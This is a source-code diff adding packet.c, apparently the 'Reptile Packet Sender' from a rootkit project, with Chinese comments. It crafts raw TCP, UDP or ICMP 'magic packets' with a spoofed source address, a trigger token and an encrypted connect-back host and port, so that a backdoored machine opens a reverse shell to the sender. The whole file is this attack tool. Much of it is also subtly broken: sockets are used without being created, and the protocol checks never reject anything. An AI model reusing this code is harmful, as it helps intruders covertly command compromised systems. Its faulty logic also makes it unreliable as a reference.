diff --git a/packet.c b/packet.c
new file mode 100644
index 0000000..e808b21
--- /dev/null
+++ b/packet.c
@@ -0,0 +1,477 @@
+#include <arpa/inet.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+#include <netinet/ip_icmp.h>
+#include <netinet/tcp.h>
+#include <netinet/udp.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <termios.h>
+#include <unistd.h>
+
+#include "custom_rol32.h"
+#include "util.h"
+
+// Don't worry, it is gonna cahnged next version
+// 定义常量，这些值用于设置IP首部和TCP首部的字段
+#define KEY 0x6de56d3b // 加密密钥
+#define IPID 3429 // IP标识符
+#define SEQ 15123 // TCP序列号
+#define WIN 9965 // TCP窗口大小
+
+// 定义一个伪首部结构体，用于计算TCP和UDP数据包的校验和
+struct pseudohdr {
+    uint32_t saddr; // 源IP地址
+    uint32_t daddr; // 目的IP地址
+    uint8_t zero;   // 填充字段，总是0
+    uint8_t protocol; // 协议类型，TCP或UDP
+    uint16_t length; // 长度，TCP或UDP首部和数据的总长度
+};
+
+// 计算校验和的函数，用于IP和TCP/UDP首部
+unsigned short csum(unsigned short* buf, int nwords) {
+    unsigned long sum;
+    unsigned short odd;
+
+    // 将两个字节的校验和相加
+    for (sum = 0; nwords > 1; nwords -= 2)
+        sum += *buf++;
+
+    // 如果有奇数个字节，将最后一个字节加入校验和
+    if (nwords == 1) {
+        odd = 0;
+        *((unsigned char*)&odd) = *(unsigned char*)buf;
+        sum += odd;
+    }
+
+    // 将校验和折叠成16位
+    sum = (sum >> 16) + (sum & 0xffff);
+    sum += (sum >> 16);
+
+    // 返回反码
+    return ~sum;
+}
+
+// 发送TCP数据包的函数
+int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
+    // 变量声明
+    int socktcp, nbytes, ret = EXIT_FAILURE;
+    unsigned int pckt_tam, plen;
+    char* buffer;
+    struct iphdr* iph;
+    struct tcphdr* tcph;
+    struct sockaddr_in s;
+    socklen_t optval = 1;
+    struct pseudohdr psh;
+    char* pseudo_packet;
+
+    // 计算数据包总长度
+    pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
+
+    // 分配内存
+    if (!(buffer = (char*)malloc(pckt_tam))) {
+        fatal("on allocating buffer memory");
+        return ret;
+    }
+
+    // 初始化内存
+    memset(buffer, '\0', pckt_tam);
+
+    // 填充IP首部
+    iph = (struct iphdr*)buffer;
+    tcph = (struct tcphdr*)(buffer + sizeof(struct iphdr));
+    iph->ihl = 5;
+    iph->version = 4;
+    iph->tos = 0;
+    iph->id = htons(IPID);
+    iph->ttl = 255;
+    iph->protocol = IPPROTO_TCP;
+    iph->tot_len = pckt_tam;
+    iph->saddr = inet_addr(srcip);
+    iph->daddr = inet_addr(dstip);
+    iph->check = csum((unsigned short*)buffer, iph->tot_len);
+
+    // 填充TCP首部
+    tcph->source = htons(srcport);
+    tcph->dest = htons(dstport);
+    tcph->seq = 0x0;
+    tcph->ack_seq = 0;
+    tcph->doff = 5;
+    tcph->fin = 0;
+    tcph->syn = 1;
+    tcph->rst = 0;
+    tcph->psh = 0;
+    tcph->ack = 0;
+    tcph->urg = 0;
+    tcph->window = htons(WIN);
+    tcph->urg_ptr = 0;
+    tcph->check = 0;
+
+    // 构建伪首部，用于计算TCP校验和
+    psh.saddr = inet_addr(srcip);
+    psh.daddr = inet_addr(dstip);
+    psh.zero = 0;
+    psh.protocol = IPPROTO_TCP;
+    psh.length = htons(sizeof(struct tcphdr) + data_len);
+
+    // 计算TCP首部和数据的校验和
+    plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
+    if ((pseudo_packet = malloc(plen)) == NULL) {
+        fatal("on malloc");
+        goto close_socket;
+    }
+    bzero(pseudo_packet, plen);
+    memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
+    tcph->seq = htons(SEQ);
+    tcph->check = 0;
+    memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
+    tcph->check = csum((unsigned short*)pseudo_packet, plen);
+
+    // 设置目的地址和端口
+    s.sin_family = AF_INET;
+    s.sin_port = htons(dstport);
+    s.sin_addr.s_addr = inet_addr(dstip);
+
+    // 发送数据包
+    if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
+        fatal("on sending package");
+
+    // 清理资源
+    if (nbytes > 0) {
+        fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
+        ret = EXIT_SUCCESS;
+    }
+
+    free(pseudo_packet);
+close_socket:
+    close(socktcp);
+free_buffer:
+    free(buffer);
+    return ret;
+}
+
+// 发送ICMP数据包的函数
+int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
+    // 变量声明
+    int sockicmp, nbytes, ret = EXIT_FAILURE;
+    unsigned int pckt_tam;
+    char* buffer;
+    struct iphdr* iph;
+    struct icmphdr* icmp;
+    struct sockaddr_in s;
+    socklen_t optval = 1;
+
+    // 计算数据包总长度
+    pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len;
+
+    // 分配内存
+    if (!(buffer = (char*)malloc(pckt_tam))) {
+        fatal("on allocating buffer memory");
+        return ret;
+    }
+
+    // 初始化内存
+    memset(buffer, '\0', pckt_tam);
+
+    // 填充IP首部
+    iph = (struct iphdr*)buffer;
+    icmp = (struct icmphdr*)(buffer + sizeof(struct iphdr));
+    iph->ihl = 5;
+    iph->version = 4;
+    iph->tos = 0;
+    iph->id = htons(IPID);
+    iph->ttl = 255;
+    iph->protocol = IPPROTO_ICMP;
+    iph->saddr = inet_addr(srcip);
+    iph->daddr = inet_addr(dstip);
+    iph->tot_len = pckt_tam;
+    iph->check = csum((unsigned short*)buffer, iph->tot_len);
+
+    // 填充ICMP首部
+    icmp->type = 8; // ICMP类型：回显请求
+    icmp->code = ICMP_ECHO; // ICMP代码：回显请求
+    icmp->checksum = 0; // 清零校验和字段
+    icmp->un.echo.id = htons(WIN); // ICMP标识符
+    icmp->un.echo.sequence = htons(SEQ); // ICMP序列号
+
+    // 计算ICMP首部和数据的校验和
+    icmp->checksum = csum((unsigned short*)icmp, sizeof(struct icmphdr) + data_len);
+
+    // 设置目的地址
+    s.sin_family = AF_INET;
+    s.sin_addr.s_addr = inet_addr(dstip);
+
+    // 发送数据包
+    if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
+        fatal("on sending package");
+
+    // 清理资源
+    if (nbytes > 0) {
+        fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
+        ret = EXIT_SUCCESS;
+    }
+
+close_socket:
+    close(sockicmp);
+free_buffer:
+    free(buffer);
+    return ret;
+}
+
+// 发送UDP数据包的函数
+int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
+    // 声明变量
+    int sockudp, nbytes, ret = EXIT_FAILURE; // 用于网络通信的socket，发送的字节数，返回值
+    unsigned int pckt_tam, plen; // 数据包长度，伪包长度
+    char* buffer; // 缓冲区
+    struct iphdr* iph; // IP头指针
+    struct udphdr* udph; // UDP头指针
+    struct sockaddr_in s; // 地址结构
+    socklen_t optval = 1; // 设置socket选项的值
+    struct pseudohdr psh; // 伪包头结构
+    char* pseudo_packet; // 伪包数据指针
+
+    // 计算数据包总长度
+    pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
+
+    // 分配内存
+    if (!(buffer = (char*)malloc(pckt_tam))) {
+        fatal("on allocating buffer memory"); // 分配失败时调用fatal函数
+        return ret; // 返回失败
+    }
+
+    // 初始化内存
+    memset(buffer, '\0', pckt_tam); // 将缓冲区清零
+
+    // 填充IP首部
+    iph = (struct iphdr*)buffer; // 将缓冲区的开始部分视为IP头
+    udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IP头后是UDP头
+    iph->ihl = 5; // IP头长度
+    iph->version = 4; // IP版本
+    iph->tos = 0; // 服务类型
+    iph->id = htons(IPID); // 标识符
+    iph->ttl = 255; // 生命周期
+    iph->protocol = IPPROTO_UDP; // 协议类型
+    iph->tot_len = pckt_tam; // 总长度
+    iph->saddr = inet_addr(srcip); // 源IP地址
+    iph->daddr = inet_addr(dstip); // 目的IP地址
+    iph->check = csum((unsigned short*)buffer, iph->tot_len); // 校验和
+
+    // 填充UDP首部
+    udph->source = htons(srcport); // 源端口
+    udph->dest = htons(dstport); // 目的端口
+    udph->len = htons(sizeof(struct udphdr) + data_len); // UDP长度
+    udph->check = 0; // 校验和初始化为0
+
+    // 创建伪包头
+    psh.saddr = inet_addr(srcip); // 源IP地址
+    psh.daddr = inet_addr(dstip); // 目的IP地址
+    psh.zero = 0; // 填充0
+    psh.protocol = IPPROTO_UDP; // 协议类型
+    psh.length = htons(sizeof(struct udphdr) + data_len); // UDP长度
+
+    // 计算伪包长度
+    plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
+
+    // 分配伪包内存
+    if ((pseudo_packet = malloc(plen)) == NULL) {
+        fatal("on malloc"); // 分配失败时调用fatal函数
+        goto close_socket; // 跳转到关闭socket的标签
+    }
+
+    // 初始化伪包内存
+    bzero(pseudo_packet, plen); // 清零伪包
+    memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // 复制伪包头
+
+    // 计算UDP校验和
+    udph->check = 0; // 校验和重置为0
+    memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // 复制UDP头和数据
+    udph->check = csum((unsigned short*)pseudo_packet, plen); // 计算校验和
+
+    // 设置目的地址
+    s.sin_family = AF_INET; // 地址族
+    s.sin_port = htons(dstport); // 目的端口
+    s.sin_addr.s_addr = inet_addr(dstip); // 目的IP地址
+
+    // 发送数据包
+    if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
+        fatal("on sending package"); // 发送失败时调用fatal函数
+
+    // 检查发送的字节数
+    if (nbytes > 0) {
+        fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // 打印成功消息
+        ret = EXIT_SUCCESS; // 设置返回值为成功
+    }
+
+    // 释放伪包内存
+    free(pseudo_packet);
+close_socket:
+    // 关闭socket
+    close(sockudp);
+free_buffer:
+    // 释放缓冲区内存
+    free(buffer);
+    return ret; // 返回结果
+}
+
+void usage(char* argv0)
+{
+    // 打印使用说明
+    fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
+    fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
+    fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
+    fprintf(stderr, "-t\tTarget\n");
+    fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
+    fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
+    fprintf(stderr, "-s\tSource IP address to spoof\n");
+    fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
+    fprintf(stderr, "-l\tHost to receive the reverse shell\n");
+    fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
+    fprintf(stderr, "-k\tToken to trigger the port-knocking\n");
+    exit(1); // 退出程序
+}
+
+int main(int argc, char** argv)
+{
+    // 声明变量
+    int opt, dstport, srcport, len, crypt_len;
+    char* prot, * dstip, * srcip, * connect_back_host, * connect_back_port,
+        * token, * data;
+
+    // 初始化端口变量
+    dstport = srcport = 0;
+
+    // 初始化字符串指针
+    prot = dstip = srcip = connect_back_host = connect_back_port = token =
+        NULL;
+
+    // 解析命令行参数
+    while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
+        switch (opt) {
+        case 'x':
+            // 设置协议
+            prot = optarg;
+            // 检查协议是否合法
+            if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
+                if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
+                    if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
+                        printf("%s wrong protocol\n", bad);
+                        exit(-1);
+                    }
+                }
+            }
+            break;
+        case 't':
+            // 设置目标IP
+            if (strlen(optarg) > 15) {
+                printf("%s wrong IP address\n", bad);
+                exit(-1);
+            }
+            dstip = optarg;
+            break;
+        case 'l':
+            // 设置连接回显IP
+            if (strlen(optarg) > 15) {
+                printf("%s wrong IP address\n", bad);
+                exit(-1);
+            }
+            connect_back_host = optarg;
+            break;
+        case 'p':
+            // 设置连接回显端口
+            if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
+                printf("%s wrong port\n", bad);
+                exit(-1);
+            }
+            connect_back_port = optarg;
+            break;
+        case 'r':
+            // 设置远程端口
+            if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
+                printf("%s wrong port\n", bad);
+                exit(-1);
+            }
+            dstport = atoi(optarg);
+            break;
+        case 's':
+            // 设置源IP
+            if (strlen(optarg) > 15) {
+                printf("%s wrong IP address\n", bad);
+                exit(-1);
+            }
+            srcip = optarg;
+            break;
+        case 'q':
+            // 设置源端口
+            if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
+                printf("%s wrong port\n", bad);
+                exit(-1);
+            }
+            srcport = atoi(optarg);
+            break;
+        case 'k':
+            // 设置令牌
+            if (strlen(optarg) > 16 || strlen(optarg) < 5) {
+                printf("%s wrong size of token\n", bad);
+                exit(-1);
+            }
+            token = optarg;
+            break;
+        default:
+            // 打印使用说明
+            usage(argv[0]);
+            break;
+        }
+    }
+
+    // 检查必要的参数是否已设置
+    if (prot == NULL || dstip == NULL || srcip == NULL ||
+        connect_back_host == NULL || connect_back_port == NULL ||
+        token == NULL) {
+        usage(argv[0]);
+    }
+
+    // 检查端口参数
+    if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
+        strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
+        if (srcport == 0 || dstport == 0)
+            usage(argv[0]);
+    }
+
+    // 计算数据长度
+    len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
+    crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
+    data = (char*)malloc(len);
+
+    // 检查内存分配
+    if (!data)
+        fatal("malloc");
+
+    // 初始化数据
+    bzero(data, len);
+    snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
+    do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // 加密数据
+
+    // 根据协议发送数据包
+    if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
+        tcp(srcip, dstip, srcport, dstport, data, len);
+    }
+    else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
+        icmp(srcip, dstip, data, len);
+    }
+    else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
+        udp(srcip, dstip, srcport, dstport, data, len);
+    }
+
+    // 释放内存
+    free(data);
+    return EXIT_SUCCESS; // 返回成功
+}
\ No newline at end of file